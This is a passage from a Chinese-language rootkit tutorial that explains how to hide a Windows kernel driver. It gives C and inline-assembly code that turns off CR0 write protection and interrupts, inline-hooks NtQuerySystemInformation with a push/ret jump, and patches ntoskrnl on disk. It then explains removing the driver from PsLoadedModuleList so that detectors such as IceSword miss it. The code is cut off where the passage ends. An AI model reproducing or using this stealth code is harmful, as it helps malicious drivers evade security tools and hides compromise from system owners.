bsp; rep movsb mov edi, SystemInformation mov eax, [edi] dec eax mov [edi], eax //完成 ArrayEnd: popad } return Status; }
NTSTATUS PatchNtQuerySystemInformation() { NTSTATUS Status; OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
if ( OldNtQuerySystemInformation == NULL ) { return STATUS_DEVICE_CONFIGURATION_ERROR; }
_asm //关中断 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX }
_asm { pushad //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节
lea eax, NewNtQuerySystemInformation mov DriverAddr, eax //把NewNtQuerySystemInformation函数地址给DriverAddr
mov edi, OldNtQuerySystemInformation mov eax, [edi] mov dword ptr ResumCodeNtQuerySystemInformation[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtQuerySystemInformation[4], ax //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行 mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68 lea edi, NewNtQuerySystemInformation mov dword ptr CrackCodeNtQuerySystemInformation[1], edi mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
//把构造好的代码进行替换 mov edi, OldNtQuerySystemInformation mov eax, dword ptr CrackCodeNtQuerySystemInformation[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtQuerySystemInformation[4] mov word ptr[edi+4], ax popad }
_asm //开中断 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }
Status = RepairNtosFile ( (DWORD)OldNtQuerySystemInformation, (DWORD)&CrackCodeNtQuerySystemInformation[0] ); return Status; } 你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的资源中给出了MODULE_ENTRY的结构定义如下: typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD unk1; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小.从新对该结构定义如下:
typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD Size; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY;
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是ntoskrnl.exe,此时它的base成员的值就是ntoskrnl.exe在内存中的起始地址.这是就可以顺手取一下NtoskrnlBase的值。 有一点要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系统不会把你加入到PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry()已经返回成功,马上把自己从PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到PsLoadedModuleList中去搂一遍了。
DWORD NtoskrnlBase=0; DWORD PsLoadedModuleListPtr=0;
typedef struct _MODULE_ENTRY {
LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD Size; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY;
NTSTATUS GetPsLoadedModuleListPtr() { UNICODE_STRING UStrName; DWORD KdEnableDebuggerAddr; DWORD InitSystem=0; DWORD KdDebuggerDataBlock=0; PMODULE_ENTRY NtosModPtr; unsigned char * DebuggerDataBlockPtr; unsigned char * Sysinit; int i,j; 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |